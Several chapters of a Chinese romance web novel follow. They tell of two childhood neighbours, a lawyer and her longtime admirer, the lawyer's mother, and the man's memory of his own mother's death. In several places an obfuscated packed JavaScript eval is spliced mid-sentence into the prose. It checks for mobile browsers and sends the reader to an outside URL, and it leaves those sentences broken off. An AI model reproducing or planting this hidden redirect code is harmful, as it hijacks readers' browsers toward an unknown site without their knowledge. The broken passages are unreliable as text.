“十八年，”苏郁纠正，“林姨家老二刚出生那年搬来的，那小子今年高考。” 徐影泽笑：“你记得挺清楚。” “你的事我记得都清楚。”苏郁挑了挑眉，一脸得意，为这份了解而倍感自豪。 徐影泽安静了一会儿。 “……比如呢？”问。 苏郁没有察觉到他问话中细微的期待和克制，兀自陷入了对少年时代的回忆里：“比如——小学时候，你跟王虎打过架。但没想到你俩后来关系处得还挺不错的。他和爸妈搬去B市的时候，还抱着你嗷嗷哭，眼泪鼻涕糊得你满胳膊都是，直说舍不得。” 徐影泽苦笑：“好像是有这么回事。” “还有，派出所李哥刚工作的第一年，王姨和张姨因为谁当广场舞领队吵起来了，本来准备去找他评理，结果到了派出所门口，刚巧看到放学的你，说你学习成绩好，一定懂得怎么断是非，就抓着你在派出所门口折腾了老半天。当时这事阵仗还挺大，闹得整个小区都能听到她们嚷嚷，结果你三言两句就把两位阿姨给哄熄火了。我当时还问你，你跟她们都说了些什么？你只回了我几个字，”苏郁模仿着年少徐影泽一本正经的语气和嗓音，“‘晓之以情，动之以理’。” 男人被她这副模样可爱到，嘴角勾了勾，但没接话，像是在等她继续。 “嗯……还有，高中的时候，”苏郁越说越来劲，“你不是总是拿年级第一嘛。而且每次学校活动都是学生讲话代表，搞得全校都知道你的名字。我跟你关系好，好些个慕名喜欢你的女生，还跑来问我和你什么关系，让我帮忙给你带礼物不说，还得费劲跟她们解释好半天——” “……这种事倒是可以不记，”徐影泽出声打断她，声音莫名有些阴沉，“你说记得我的事怎么净是这些？就没点好的？” 苏郁对他忽然变天的脸色失了笑：“这不都在夸你聪明、优秀、受欢迎呢嘛，怎么就不好了？” “……不爱听。” “那……初中的时候你参加全国中学生跆拳道大赛，拿过初中组赛区第一，最后一场比赛我和我妈还去现场看来着，”苏郁伸出头，观察着他的脸色，琢磨怎么不着痕迹地表达自己的赞赏，“我记得当时你赢晋级赛最后一场的时候，有把我帅到！” 徐影泽的神色缓和了些。 苏郁偷偷吐了吐舌头。 这人就这样，只要自己夸他帅，夸他有魅力，再臭的脸色都能给哄舒缓了。 有时候她会忍不住在心里吐槽。 这人到底是自恋还是自恋呢？ 以他的能力和外表，从小到大，这些话不该都听得耳朵生茧了么？怎么还老跟个孩子一样，等人夸夸，等人哄？ 怪幼稚的。 提起当年的跆拳道比赛，苏郁有些兴奋。 从市级比赛，一路过五关斩六将，征战到南部赛区主办地的省会A市，最终荣获赛区第一。 不怪她要拿这件事出来说，全权因为这段经历，确实是徐影泽人生履历中浓墨重彩的一笔，亲朋好友都为他感到骄傲。 苏郁回想起当时的情景，忍不住叭叭：“我还记得当时市上的比赛结束后，你和阿——”但刚起了个头，却像是提到什么禁词般闭了嘴，止了话不说了。 徐影泽见苏郁收声，下意识回看，就见她紧抿着唇，一脸小心地偷瞄着自己，眼底满是担忧和后悔，心中顿时了然。 沉默好一会儿后，他抬了抬胳膊，似乎下意识想搭上她的手，但纠结了半天最终还是把手收了回去，反向安慰：“……我没事。都过去了。” 说完不忘补充：“我没那么脆弱。” 苏郁低着头，像是在思索怎么转移话题打破尴尬沉闷的气氛，徐影泽却悠然开了车门，侧身跨了出去，然后扶着车门对还在车里的苏郁招呼：“还不下车？” 他扬了扬手机，屏幕亮着，熟悉的微信界面和头像：“阿姨等你呢。” “她说什么了？”苏郁跟着下了车，垫着脚够着脖子凑到徐影泽身边去看。 发梢和呼吸擦过徐影泽的胳膊，被他不动声色地躲开，将屏幕送到她面前：“问你是不是跟我在一起。” 苏郁扫了一眼就开始叹气：“我都多大的人了，还管得这么严。” 徐影泽低头，视线刚好落在她纤长的脖颈处。 “也是担心你。” “……是，”苏郁站正，甩甩脑袋，开始往回家的方向走，两三步后，背着手俏皮地转了个身，回看徐影泽有没有跟上，声音有些细微的惆怅，“但她的生活，她的世界，除了我，还可以有很多别的东西。” 停停走走，走走又停停。 两人并肩穿过自儿时就走得烂熟的小巷。 也许是因为老街拆迁的消息，彼此都有些感怀，一路上聊了很多人事变化。 “说起王虎，他搬家后没多久就退学了，在A市专业技能学校学了几年厨师，你知道不？” “……不太清楚。”其实是根本没关注。 “听他奶奶说，他现在在A市一家米其林餐厅当主厨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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要在平时，徐影泽一定会认真回应她的问题，但今天，说不好是因为气氛还是因为小区拆迁的消息带来的复杂情绪，又或是得知她差点与其他男人约会的懊恼，他忽然想使个坏，于是提步，加速，两三下走到了她前面，仿佛不经意般随口应了句—— “谁知道呢。” 总是他看着她的背影，偶尔也让她看一次，这是他小小的报复。 一直进到小区，到了居民楼附近，苏郁远远就看到自家楼栋亮着的灯，以及穿着一身白裙，正不安踱着步子时不时往两人方向张望的女人。 苏郁立刻小跑过去，抓过女人的手，有些担忧，又有些责备地说：“妈！你怎么又下来等了。” 女人看到苏郁后，削瘦憔悴的脸上终于有了些许神采，她看看苏郁，又看看跟在她身后不远处的徐影泽，像是松了口气：“怎么回来得这么晚？” “看了场电影。”苏郁此时已经换上一副沉稳作派。 那个严谨强硬的苏律师又回来了。 “脸怎么了？” 苏郁脸上的白色纱布已经换成了大号创可贴。 伤口虽然流了不少血，但好在并不深，徐影泽特意买了消炎抗菌的药给她，很好用。 苏郁简单敷衍了一下，说是不小心伤到了。真是的理由如果被知晓一定又会被唠叨一通，她无心应付。 徐影泽走了一小会儿才到她们面前，抬头，换上礼貌绅士又温和的笑容，打招呼。 “阿姨好。” 12. 母亲（一） 说起苏郁的母亲，少年时代徐影泽对她的了解，更多是停留一众街坊邻居口中的那个—— 有些软弱，依附着老公的，温婉的，不争气的…… 女人。 偶尔放学路过居民们常聚集八卦的活动区，总有零星碎语，刺破空间距离，飘入徐影泽耳中—— “那家昨天大半夜又在吵。” “是啊，每个月总要闹这么几次。每次动静都这么大。” “就这还不离？” “嗨，家里女儿还小，女人又没什么工作，忍着呗。” “何必呢？带孩子又怎么了，我觉得以她的长相，离了再嫁也不难吧。” “那女儿怎么办？亲爹再混蛋，那也是亲爹啊！” 这些闲言几乎构成他对苏郁妈妈早年间的全部印象。 徐影泽观察着灯光下那张，已经显露出疲态，被时间风干了青春的脸。 那件事发生以前，她偶尔会极其隐忍地小心遮住它，但更多时候总是招展得像一朵不甘枯萎的花。皱纹？整洁白发？也许有了吧，但他从未在见到她时看见过。 如此执着于体面，和她那不愿依赖他人的女儿一样…… 倔得很。 “影泽，”苏琳严肃地看着他，“你们太晚了！” 苏郁的爸妈同姓苏。 因此她并没有什么移名易姓的烦恼。 此刻，苏琳的眼神仿佛无视了经年时间，似乎在她眼里，年近三十的青年男女依旧是记忆中未曾长大的孩子，做错了事，需要长辈的严苛训诫。 徐影泽笑了笑，用沉默作为礼貌回应。旁边的苏郁已经习惯性抢话：“……妈，我们都多大了，怎么还拿人当小孩呢？” “这大半夜的，黑灯瞎火，不安全！” 苏琳的担忧并不是没有理由。 在拆迁消息之前，这片又老又旧的居民区就已不复往昔烟火气了。 城市的重建与扩张带来了太多变化。 摩天大楼拔地而起，马路一条一条地扩，天桥和商厦一座又一座地建。 城市霓虹替代繁星落入人间，清脆的自行车响铃变作川流不息的汽车刺耳鸣笛。 时间迎来送往，新人搬来更多旧人离去。 不少住户人去楼空，到了新区或外地，以寻求更加舒适便利的生活。 布局紧促狭隘的巷道，因年久失修而破碎斑驳的路面，和昏昏暗落满萤虫尸体的街灯…… 有半截回小区的必经小径甚至是漆黑一片。 没有月光照明的夜里，用手机或探照灯照明，也只能照得清脚下一隅。 随时间衰老的…… 又岂止是人呢？ 少年时代家家户户都亮着灯的喧闹夜晚，已经是非常久远的回忆中的场景了。 “和影泽在一起，怕什么？”面对母亲的斥责，苏郁却很不以为然。 苏琳似乎还想再说，苏郁已经快速揽过她的肩，把人往楼上带：“哎呀，下次我们，不，我，我一定早点回来。你上次不也答应了我的么？不大半夜的在楼下等我，有什么事给我发消息打电话，怎么总不听呢？”一边碎碎念，一边逮着空隙偷看站在原地的徐影泽，并挤眉弄眼地对他挥手示意——快回去吧回去吧。 徐影泽笑着对她挥了挥手，目送母女两人互相唠叨拌着嘴进了单元门。 声控灯层层亮起，一直到四楼，若干秒后再熄灭。 不一会儿，那扇熟悉的小窗也亮了，碎花帘背后人影晃动，忽近又忽远。 徐影泽独自伫立在夏夜里，仰着头，静静望了小一会儿，最终转身，走向自家的楼栋。 开门的时候，手机屏幕亮了又亮。他一手拧着锁，一手掏出手机去看，不意外，是苏郁的微信。 苏郁：[沮丧] 苏郁：[生气] 苏郁：[烦] 一连串表情包。 抗议着母亲的唠叨。 苏郁：[无语] 苏郁：就知道今天一定会说我。 苏郁：所以才不想回。 徐影泽给苏郁的名称备注是emoji的“太阳”。 她的头像是一只穿着西装的黑色猫咪，戴着副黑色眼镜，一本正经工作的模样，多年不曾换过。 早些年刚入行的时候，为了给客户留下靠谱的好印象，用过一阵子个人形象照。后面有天忽然说是觉得那种一本正经的人设不适合自己，太装，就换成了现在这张。 徐影泽一脚跨进房门，阅读着她发来的消息，唇角带着笑。 徐影泽：你就是嘴硬。 清爽干净的房间，一切都收拾得整洁有序，晚风穿堂而过，撩起遮掩阳台的纱帘。 徐影泽简单收拾停当，把自己窝进沙发。 周围很安静。 屋子里和平时有些不同，似乎还余着她昨夜残留下的气息。 又或许，是两人分开不久前，自己身上沾到的。 夏日特有的黏腻感原本很让人讨厌，此刻，徐影泽却有些舍不得立刻将这丁点余香清洗掉。 他只是闭着眼，仔细感受着屋内的细微不同，随呼吸平复着脑子里各种旖旎的念头，和心跳。 这时候，手机又亮了。 苏郁：才没有。 苏郁：[生气] 苏郁：每天在律所和当事人斗智斗勇还不够，回家还要和她掰扯，太累。 苏郁：对了，给你看个好玩的。 接着，一篇笔记的链接发了过来。 苏郁：[我是律师，现在很困，请用当事人的语气跟我说句话，让我立马精神起来] 苏郁：你看评论区，贼逗。 苏郁：[截图][截图] 打开图片一看，里面网友A发言：“律师，待会儿见了法官要跪下喊大人吗？” 网友B回：“要喊青天大老爷！” …… 网友C留评：“法官大人！之前那些话可都是律师教我说的啊！” 网友D：“我那N小时的录音听完没？” 网友E：“……律师，我跟我老公和好了，不离了，谢谢你这段时间的解答，不过我觉得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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虽然徐影泽清楚，这两个人之间不可能发生什么，苏郁绝对不会以韩飞希望的那样给予他什么反馈，但每次想到苏郁在自己看不见的地方和其他男人亲近，他的心里…… 就会莫名地不痛快。 而自从苏郁正式执业，人是越来越忙，两人之间的相处也不再像以前那样频繁。哪怕他努力地维系自己越来越稀薄的存在感，仍然比不过白日里，几乎全天都与苏郁共处一室，一同工作的那个人。 这让徐影泽有种难以遏制的—— 危机感。 虽然理性反复告诉他不可能，但万一呢？万一那个人变成了例外呢？ 变成了，他近二十年的陪伴都没能够成为的那个例外呢？ 13. 母亲（二） 这种过山车般颠簸忐忑的思绪变化，从来都是在苏郁看不见的地方。 想了好一会儿，徐影泽才犹豫着回复苏郁。 徐影泽：还准备继续给你师父打零工呢？ 竟是和李佳明同样的问题。 苏郁显然不是很喜欢这个话题，回说：“怎么连你都这样问？” 徐影泽：…… 徐影泽：还有谁问了。 韩飞？ 苏郁：我师父今天把我叫去办公室开小会，让我考虑转提成。 徐影泽：你没同意？ 苏郁：不是很想。 徐影泽：说老实话，你现在手上的那些案子标的太低，流程又繁琐，性价比并不高。 徐影泽不否认自己的私心。 一方面他希望苏郁不要陷入低成本低效率的繁忙工作中，好能有更多自己的时间和自己在一起。 另一方面，只要她还在李佳明麾下，那就永远脱离不开与韩飞之间的交集。提成律师会有更多自己的案源要维护，虽说不能完全脱离师父的安排，但终究能有更多自由。他们师出同门，无法完全斩断羁绊，但总能减少来往控制距离吧？ 苏郁：我知道。 苏郁的头像旁边“正在输入”的提示停了停。 苏郁：但有些事，总得有人去做。 苏郁：标的高的案子大家都想做，都想挣大钱，瞧不起小钱。但普通人的法律权益就不值得维护？诉讼权利就不值得保障了吗？ 徐影泽：提成律师一样可以做这些。 苏郁：那既然没什么区别，我转提成的意义又在哪里呢？ 苏郁：小额诉讼挣得并不多，但因为量大来源稳定，是律所经营的基石。如果只是为了自己做这些案子，从现实层面来说，我得花更多时间去做很多不必要的前期工作。为了节约时间成本，为了更好地生存，我会变得和其他人一样，沉迷攀缘关系人脉。 苏郁：我现在，不光是在为薪水、为律所和师父团队的声誉而工作，更是为了我自己的职业理想。 徐影泽看着她的回答，苦笑了声，仰头靠在沙发背上，捂住眼睛，长长叹了口气。 这回答…… 很苏郁。 他不由得为自己的行为感到可笑。 明知会得到这样的回答却还是忍不住尝试，希望她的固执能为自己开一道口子，但如果可以，早在高中的时候就该为自己特例，又怎么会让他苦苦等候这么多年？ 也许是因为律师一板一眼好辩的职业习惯，觉得自己刚才的言论从文字上来看显得有些刻薄，不一会儿，苏郁的电话打了过来。 徐影泽默默按下接听。 透过听筒，女郎用小心的声音问：“生气了？” “没有。”徐影泽轻声回。 “真的？” “真的。” “那就好，”苏郁那头缓了缓，又问，“你在干什么？” “没干什么。” “……” 发呆？ 想她？ 但她没必要知道。 “我总觉得你生气了。” “……真没有。” 徐影泽忽然有些失笑。 她到底是怎么看自己的？他怎么会因为这种事跟她生气呢？ “那你到窗户这边来，”苏郁说，“让我看看。” 徐影泽顺从地走进次卧，来到窗边，熟练地推开窗。 这是他们多年以来，常用的沟通方式。 第一，如果发生误会，第一时间就要彼此说开。 第二，能见面不电话。能电话不文字。因为见面能够看到表情，电话可以听出情绪。 第三…… 这是徐影泽给自己画地的牢笼。 只要对方需要自己做什么，无条件应允。 虽然房子旧了，但定期清洗的纱窗很干净，隔着网格，徐影泽能够清楚看到已经换上睡衣的苏郁趴在对面的窗沿，握着手机，贴在耳边，看见自己后像是松了口气般，清脆悦耳的声音再次从听筒里响起：“呼，是真的。” “怎么？觉得我骗你？” “唔……” “我什么时候骗过你？”这头笑了。 “好像……”那头仔细回忆了一下，“没有？” “嗯。” 真要说骗，其实骗过。 徐影泽想。 但幼年的那次小小谎言给他带来的羞耻和后悔让他终身难忘，所以那之后，面对苏郁，他再说不出任何假话。 他曾幻想过，如果有一天苏郁质问自己是不是喜欢她，他要怎么回答？ 但…… 苏郁对他真实的感情世界似乎并不怎么在乎。 今天月色不错。 薄光撒在苏郁身上，那个优秀的女律师此刻不过是他再熟悉不过的邻家女孩儿，纤瘦的四肢从宽大的衣袍里探出来，空空地晃荡。 徐影泽本有些心疼她的消瘦，忽听苏郁为了缓解气氛般引起话题说：“啊，我忽然想起小时候的一件事。” “什么？” 大女孩儿远远看着他，嘴角挂了笑。 “小学的时候，不像现在人手一台手机，有段时间不是很流行那个传声筒吗？” “嗯。” “咱们的楼栋虽然隔得近，但说话声音小了就听不到。有天我爸不在，我就偷偷用家里的纸杯做了一组，缠着你陪我试。可杯子另一头轻飘飘的，怎么也扔不过去。你就教我往里面塞石头，再用塑料袋绑死了往你窗户这头扔——那时候你家还没装纱窗呢！” “嗯。” 徐影泽默默听着她的声音，只应和，等着她继续往下说。 “结果……巧得很，好巧不巧……噗，丢到了你头上……”苏郁有些不好意思，但更多是忍俊不禁，“把你脑袋，砸出好大一个包……” 徐影泽淡淡回：“你还笑，那个包，我足足顶了快一个月才消。” “不好意思嘛。”苏郁吐了吐舌头。 那头静了好一会儿，她忽然出声解释：“我，我刚才不是想呛你。” 徐影泽静了静 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16295529|182724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “……我知道。” 回。 “我是法律援助的受益人，”苏郁的声音很轻，“如果不是我师父，我不会有今天。” 徐影泽垂了垂眸。 “嗯。” “所以我总在想，会不会在我不知道的地方，也会有那么一些人，会需要像我和我师父这样专业律师的帮助，”晚风轻抚，拨乱了她的发丝，“我知道我的想法，作为律师，很天真。这行业，不过是在进行一场又一场为了不同立场和利益而战的游戏，却只有我，在较真……工作本来就是为了生活，并没有那么多高上大的意义。但为和我有相似经历的人提供力所能及的帮助，对我来说，就是我从业的意义。” 徐影泽看着她。 “我只是不想你太辛苦。” 贴着耳朵的手机有些发烫。 隔着楼层距离，他的视线一直没有离开过对方，所以她说这些话时候的表情他全看在眼里。 有犹豫，有挣扎，又有些抽离，像是陷入了什么回忆和决策。 她絮絮叨叨的话乍看是说给徐影泽听，但更多地像是说给自己。 直觉告诉他，她有什么事瞒着他。 “都做这行了，还谈什么辛不辛苦的，”苏郁笑了，她发自真心笑得时候眼睛会同年幼时一样，弯成弯弯的月牙儿，“干到老，学到老，我自己选的。” 两相静默。 不知怎的，女孩儿忽然有些忐忑。 “……我今天……是不是话太多了？” “没有。” 徐影泽的声音很轻柔。 他其实很高兴她能够跟他说这些。 但他的真实想法，她也没必要知道。 “总之，你没生气就好。” 苏郁沉默了一会儿，张了张口，欲言又止，似乎是想把未能说出口的内容向徐影泽倾诉，但最终犹豫了半天，话到嘴边，只剩下了一句—— “那……晚安。” 顿了顿，徐影泽跟着回。 “……晚安。” 苏郁微笑着，再次对徐影泽挥了挥手，挂了电话关了窗，拉上了窗帘。 和在楼下时候一样。 徐影泽在原地站了一会儿，一直等到苏郁房间的灯熄灭，才转身去洗漱。 水流冲刷过头顶的时候，徐影泽不由得思索苏郁刚才的怪异态度。 结合她今天些微的反常，那没能张口告诉自己的事，究竟是什么？ 是工作上发生了什么事？ 等洗完澡出来，徐影泽擦着头发，从冰箱里拿出一听冰好的啤酒，一边拿着手机翻阅新闻，一边思考着怎么从苏郁嘴里问出她本想说却没说的事。 忽地，又是一条新留言的弹窗通知。 但这次，不是苏郁的消息了。 来自于他已经回A市继续生活，且有段时间没见面的父亲。 手机荧光在黑暗中静静闪烁，照亮了徐影泽有些苍白的脸。 “你母亲的忌日快要到了。” “不来A市看看吗？” 14. 母亲（三） 某个著名作家用“一生的潮湿”来描述亲人的离去，这一形容对于徐影泽而言亦然。 像是一条陈旧的伤疤，留下痕迹的同时，也会持续性地散发隐痛。 那是一个让人永难遗忘的夏天。 徐影泽初二那年，在拿下让他足足征战了一整个夏季的跆拳道比赛第一名，满怀期待和喜悦站在A市领奖台等待颁奖的时候，却看到父亲神色慌张地从后台冲出来，跟工作人员耳语了几句，就一把拽起他，逃似地离开了现场。 一路跌跌撞撞，一直到坐上车，徐影泽才从父亲颤抖的声音里知道，没来为自己应援的母亲—— 出事了。 乘着车，父子俩沉默了一路。 脑溢血是什么？ 徐影泽感觉自己脑子里空白一片。 这种词汇他只从电视里听说过，发生到自己周围人的身上，却有种十足的不真实感。 车内凝滞且浑浊的空气，父亲搭在腿上微微抖动的双手，忐忑不安的呼吸，比平时放大数倍的感知让他感到错乱。等到医院，跟着父亲穿过嘈杂的人流，看到鲜亮刺眼的急救室三个红色的大字，徐影泽才意识到，这件从来都是在别处听过见过的事，就这么在自己身上发生了。 徐影泽听见自己的呼吸和心跳急促地反复，从来自诩聪明的他，此刻却像个什么都不会也什么都做不了的废物，只能沉默地等待宣判。 是的，宣判。 母亲在家突然发病，被邻居发现叫了救护车，医生说T市这种地方医疗水平本就有限，这种情况，要做好最坏的准备。 其他家庭的哭闹和尖叫将他淹没，回忆混着噪音织成细密的网，在耳边轰鸣，隔开他与现实世界—— 那是徐影泽第一次，面对真正的，“失去”。 父亲的工作很忙，加班加点是常态，一个月也见不到几回。 所以很多时候，徐影泽的生活和交流都是与母亲绑定在一起。 因为敏感多思的天性，他经常会陷入对周围环境、人心的过度体察。而年少时，给予自己最多引导和帮助的那个人，就是母亲。 他对世界有很多疑惑。 例如—— 为什么小朋友们总喜欢一起扎堆玩？明明每个人喜欢的东西都不一样。 为什么女生总喜欢结伴一起上厕所？ 为什么要遵守学校的规定？大人们总是对老师特别礼让，可明明大家都支付了学费。 为什么人和人相处会有那么多条条框框？ 为什么大人们总是人前人后一副不同的面孔？ 等等等等。 又好比，因为苏郁和王虎一众成为“朋友”。 不过是一众还未开智的小屁孩，在徐影泽的认知里，跟他们成为“朋友”建立关系，完全是一种浪费时间精力且收益极低的事情。 以及，苏郁每回因家事倒立的自虐，又或是看见自己和王虎一众小孩发生矛盾为自己鸣不平的多管闲事行为。 为什么？ 为什么要做这些莫名其妙的事？ 做这些事究竟有什么意义？ 在他的知识储备里，明知道一些东西毫无价值，且可能会给自己带来麻烦和不良的后果，又为什么要去做呢？ 母亲却从来不会觉得徐影泽的这份特别是种负担，总是不厌其烦地为他一一认真解答。 “人与人之间的联系脆弱又美好，虽然你比起你的小伙伴们是要跑得快那么一些，但妈妈并不希望你因为这个，错过只有你这个年龄段，才会拥有的经历和体验。” “每个人刚出生的时候都像一张白纸，最重要的就是拥有不同的回忆来填满它，”她说，“这些，才是构筑你，徐影泽这个人，必须的东西呀。” 但—— 笨蛋才会迎着麻烦活呢。 当时的徐影泽想。 坐在医院的长条椅上，徐影泽呆呆地看着那扇将会决定母亲命运的大门，心像灌了铅般，被重重钉在原地。 不一会儿，医生推开门走了出来，带着严肃的表情皱着眉，与父亲商讨的母亲病情和治疗方案，言语了几句后摇了摇头，而父亲紧闭的唇角和良久的沉默让徐影泽感到更加忐忑和不安，他起身凑了过去，却堪堪听到父亲让他记忆至今的话—— “我们，不治了。” 不治了？ …… 为什么？ 为什么不治了？ 父亲当时决定放弃治疗的冰冷声音在耳边反复回荡着。 “发现的太迟了。只有10％成功率，而且大概率可能会变成植物人的话……” “不继续治疗…… “对她，对我和孩子而言……” “都好。” 偏巧，他还清楚地记得小学与父亲谈起苏郁家事的那个下午，他给予自己的劝诫。 ——影泽，大人有时候很懦弱。 ——爸爸不是这样的人，你也不可以成为这样的人。 骗子！ 一直到成年后很久，徐影泽才明白父亲当时的决定究竟承担了多大的勇气。 但当时的他根本无法理解父亲的决定。他只是恨，恨父亲的无情、理性和决绝。他从未曾想，在父亲的眼中，朝夕相处的母亲，有那么一天也会变成一个可以随时舍弃的“麻烦”。 有很长一点时间，徐影泽总会莫名想起起母亲当初的话。 如果说，一个人是为了经历不同的体验活在这世上，那母亲为什么会遇到这种事呢？ 他徐影泽—— 又为什么会遇到这种事呢？ 葬礼结束后，他把自己锁起来，在房间里关了很久。拉上窗帘，沉入黑暗，不分昼夜。 为什么？ 为什么是妈妈遇到这种事？ 为什么是我家遇到这种事？ 为什么是我遇到这种事？ 徐影泽几乎快把这辈子的“为什么”问光了问烂了，也没问出个头绪。 他感觉自己脑子快炸了。 不出门，不见父亲，也不去上学。 他几乎不吃不喝，仿佛只要□□达到极致的痛苦，就可以缓解情感上的失落与无助。 被他关在心门之外的父亲无可奈何。 儿子自小就不喜欢和他人有太过深入的交流，朋友不多，邻里也不熟，搬家后一家人也没什么亲人在这边。 中间陆续有人来表达过同情和慰问，但徐影泽从没露过面，甚至有几次听见客厅里的人声会发了疯似地冲出来，把来访的客人赶出去，并和徐昀大吵一架。 从那个夏天开始，学习了近十年的跆拳道也再没心思继续练了，因为徐影泽总会回想起和母亲相处的点滴，更别提她陪伴他上课的那些日子。 徐昀为此一筹莫展。 妻子过世的痛苦还在持续，也让父子俩的关系持续性恶化。 成人的决定面临着诸多责任，从上到下从里到外的压力已经让他疲于应付，但徐影泽的抵触和不理解，则更像是凌迟的刀。短短一个暑期，不出四十岁的徐昀花白了头，但徐影泽仍旧把自己困在自己的世界里，不愿探出头来。 直到开学后的某一天，苏郁忽然带着新学期的课本，敲响了徐家家门。 女孩儿小学时杂乱如野草般的头发已经梳理得垂顺整齐，扎成高高的马尾坠在脑后。她双手拎着装书和食物的袋子，侧着头，用犹豫且关切的语气问门缝内的徐昀：“叔叔，影泽他……还好吗？” 徐昀记得这个孩子。 几年前刚搬来这里，徐影泽曾为了她跟别人打过架。 这在徐影泽的世界里已经算得上是极其稀罕的事，是否说明这个女孩儿之于儿子来说，多少有些不同？ 徐昀仿佛找到了救命稻草，把苏郁迎进了家门，并简单说明了徐影泽近日的情况。考虑到儿子可能不怎么想见他，又找了个借口离了家，给苏郁和徐影泽的谈话留出足够的空间，只希望这个貌似拥有特权的女孩儿，能帮他把沉浸于悲痛儿子从漩涡中拽出来。 苏郁并不是很能理解徐昀的考虑，她只当徐影泽是朋友，既然是朋友，那照顾朋友并表达关心和支持不是应该的事情么？ 于是她站在了徐影泽的房门口，犹豫着将门敲响：“影泽？” “……” 里面很安静。 像没人一般。 “影泽？”苏郁放轻了声音，尝试呼唤，“开学了，老师让我帮你把这学期的课本带过来。你……还不去上学吗？” 初中两人又是同班，班主任知道他俩同个小区，离得近，关系又好，找苏郁带话再合适不过。 门那头还是没人回话。 “老师说这学期压力会很大，所有课程要尽早学完，留出时间刷题，”苏郁传达着老师的话，“影泽，你……已经有一个多月没来学校了。” 其实苏郁很想对他说：虽然我知道你成绩一直很好，人也聪明，但中考很重要，你真的要这样把自己关在房间里，荒废自己的学业和前途，浑浑噩噩地度过初三最后一个学期？ 这会是阿姨想看到的吗？ 但—— 都说人与人的悲欢并不相通。 虽然苏郁不能完全理解徐影泽的痛苦，但她却对“痛苦”这个词汇…… 并不陌生。 人这一生所要面临的痛苦多种多样，但哪怕是不同的痛苦，疼痛的感觉总是一致的。 所以以己度人，苏郁根本说不出那种，仿佛站在高处，两手叉腰事不关己，理所应当的话来。 “我给你带了我……带了我家做的甜酒酿，”苏郁谨慎考虑着措辞，“你是不是很久没好好吃饭了？喝点热的，胃会舒服一些。” “要不……我做给你吃？” 回应她的依然是沉默。 苏郁心知这样耗在门口的对话没什么意义，干脆放下课本，去厨房接水开火。 说做就做。 她在冰箱翻出一枚鸡蛋，然后打开自己带来的贴着“橘子罐头”黄色标签的玻璃瓶，熟练地舀出酒酿入水，等水再次烧开后打碎鸡蛋搅散，哦对，还有糖…… 沿着盛装调味品的架子找了一路，终于在角落找到一个盛满冰糖的怡口莲塑料罐，从里面捞出几粒，想了想，又多抓了小半把，统统丢进咕嘟咕嘟冒着热气的锅里，拿汤勺搅搅直到融化，然后关火拿碗盛汤。 苏郁把案板当作托盘，放好盛满甜汤的碗、勺子，端着两样东西再次回到徐影泽门前，呼唤：“影泽！开开门，我做好啦！” 门那头依然安静，苏郁开始尝试说服：“……酒酿还热呢！很好喝的哦！” “……” “尝尝我的手艺呗！认识这么久，你还没吃过我做的东西呢！” “……” “我费了好大劲儿才做好的！” 有些夸大了，酒酿其实不难做。 “……” 还是不理她。 “哇！好烫！”苏郁忽然高声叫了句，还带了几分哭腔，“疼死我了！”接着是刻意的呼痛声。 隔着门壁，终于，她听到拖鞋急促靠近时淅淅索索摩擦地面的声音，然后门开了，熟悉的身影出现在了门后。 徐影泽两三步冲了过来，扶着苏郁的肩，上下打量着她，哑着嗓子问：“……烫伤了？”问完才发现少女亭亭站得笔直，端着的碗完好无损，那双明亮的眼睛带了几分狡黠，正直直地盯着他看。 看得他心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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窗帘紧闭，屋子里有些暗，虽然凌乱，但还算得上整洁有序，少量衣物零零散散地落在书桌旁的椅子上，书架分门别类摆放着各类书籍，整整齐齐，显然这段时间并未被翻阅。 而徐影泽低着头，怔怔地看着碗里的甜汤，像是没听到她的话般，一言不发。 长时间的封闭让人思维也变得有些迟钝。 徐影泽看着手中的物事发着呆，似乎忘记了下一步应该做什么。 吃东西？ 本应该是本能的行为，现在却像是久远以前的事。 饥饿感？ 大体是有的，不然自己也不可能撑到现在。 可要说一日三餐吃了些什么东西……完全没有印象，根本想不起来。 大脑，四肢仿佛已经不是自己的，身体是一具无用的躯壳，他只是借用，并且已与世界断开连接。再次接频需要重新寻找输入信号，可他似乎在黑暗中滞留太久，已经忘记如何扮演一个普通人了。 “我不好意思在你家乱翻，”苏郁见他沉默，在旁边补充，“要是有枸杞和芝麻会更好喝。” 徐影泽似乎很久没有认真地感受食物的味道了。 他安静了一会儿，缓缓端起碗—— 一口酒酿下肚，甜意在舌尖蔓延开来，微醺发酵的余香萦绕在口腔，余热温暖着四肢百骸。 女孩儿一脸殷切期待地在一旁追问：“好喝吗？” 徐影泽：“……” 他的心不受控制地揪紧，跳了一下。 苏郁的眼睛很亮，每每她用这样的表情看着他的时候，他就会感觉自己的心开始不受控制地悸动。 